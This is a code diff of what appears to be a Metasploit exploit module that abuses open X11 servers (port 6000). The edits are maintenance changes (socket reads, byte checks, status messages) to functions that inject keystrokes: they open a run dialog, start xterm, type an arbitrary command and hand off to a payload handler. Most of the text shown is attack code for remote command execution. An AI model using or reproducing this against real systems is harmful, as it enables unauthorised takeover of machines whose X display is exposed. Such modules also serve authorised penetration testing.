@@ -109,11 +109,11 @@ def initialize(info = {})
109
109
register_options (
110
110
[
111
111
Opt ::RPORT ( 6000 ) ,
112
- OptInt . new ( 'TIME_WAIT' , [ true , 'Time to wait for opening GUI windows' , 5 ] )
112
+ OptInt . new ( 'TIME_WAIT' , [ true , 'Time to wait for opening GUI windows in seconds ' , 5 ] )
113
113
] , self . class )
114
114
end
115
115
116
- def press_key ( key )
116
+ def press_key ( key )
117
117
req = "\x8e \x02 \x09 \x00 "
118
118
req << "\x02 "
119
119
req << key
@@ -129,15 +129,15 @@ def press_key( key )
129
129
130
130
sock . put ( req )
131
131
132
- res = sock . recv ( 1024 )
132
+ res = sock . get_once
133
133
# Response should give 1 on first byte (Success)
134
- unless res and res [ 0 ] == "\x01 "
135
- fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Error pressing key: #{ key } " )
134
+ unless res and res [ 0 , 1 ] == "\x01 "
135
+ fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Error pressing key: #{ key } #{ res . inspect } " )
136
136
end
137
137
138
138
end
139
139
140
- def release_key ( key )
140
+ def release_key ( key )
141
141
req = "\x8e \x02 \x09 \x00 "
142
142
req << "\x03 "
143
143
req << key
@@ -153,18 +153,18 @@ def release_key( key )
153
153
154
154
sock . put ( req )
155
155
156
- res = sock . recv ( 1024 )
156
+ res = sock . get_once
157
157
# Response should give 1 on first byte (Success)
158
- unless res and res [ 0 ] == "\x01 "
159
- fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Error releasing key: #{ key } " )
158
+ unless res and res [ 0 , 1 ] == "\x01 "
159
+ fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Error releasing key: #{ key } #{ res . inspect } " )
160
160
end
161
161
162
162
end
163
163
164
- def type_command ( command )
164
+ def type_command ( command )
165
165
# Specify the special keys which need to have shift pressed first to type
166
- specialkeys = '<>{}|"&()' . chars . to_a
167
- values = command . chars . to_a
166
+ specialkeys = '<>{}|"&()' . chars
167
+ values = command . chars
168
168
values . each do |value |
169
169
key = KB_KEYS [ value ]
170
170
# Special keys need a shift pressed to be typed
@@ -186,8 +186,8 @@ def type_command( command )
186
186
end
187
187
end
188
188
# Send an enter
189
- press_key ( "\x24 " ) # [enter]
190
- release_key ( "\x24 " ) # [enter]
189
+ press_key ( "\x24 " ) # [enter]
190
+ release_key ( "\x24 " ) # [enter]
191
191
end
192
192
193
193
@@ -212,10 +212,10 @@ def exploit
212
212
sock . put ( req )
213
213
214
214
# Retrieve the whole X11 details response
215
- res = sock . recv ( 4096 )
215
+ res = sock . get_once
216
216
217
217
# Response should give 0x01 in first byte (Success)
218
- unless res and res [ 0 ] == "\x01 "
218
+ unless res and res [ 0 , 1 ] == "\x01 "
219
219
fail_with ( Failure ::Unknown , "#{ rhost } :#{ rport } - Registering keyboard failed" )
220
220
end
221
221
@@ -227,12 +227,14 @@ def exploit
227
227
release_key ( KB_KEYS [ "f2" ] )
228
228
229
229
# Wait X seconds to open the dialog
230
+ print_status ( "Waiting #{ datastore [ 'TIME_WAIT' ] } seconds..." )
230
231
select ( nil , nil , nil , datastore [ 'TIME_WAIT' ] )
231
232
232
233
# Start a xterm terminal
233
234
print_status ( "#{ rhost } :#{ rport } - Opening xterm" )
234
235
type_command ( "xterm" )
235
236
237
+ print_status ( "Waiting #{ datastore [ 'TIME_WAIT' ] } seconds..." )
236
238
# Wait X seconds to open the terminal
237
239
select ( nil , nil , nil , datastore [ 'TIME_WAIT' ] )
238
240
@@ -242,7 +244,6 @@ def exploit
242
244
243
245
type_command ( command )
244
246
245
-
246
247
handler
247
248
rescue ::Timeout ::Error , Rex ::ConnectionError , Rex ::ConnectionRefused , Rex ::HostUnreachable , Rex ::ConnectionTimeout => e
248
249
print_error ( "#{ rhost } :#{ rport } - #{ e . message } " )
0 commit comments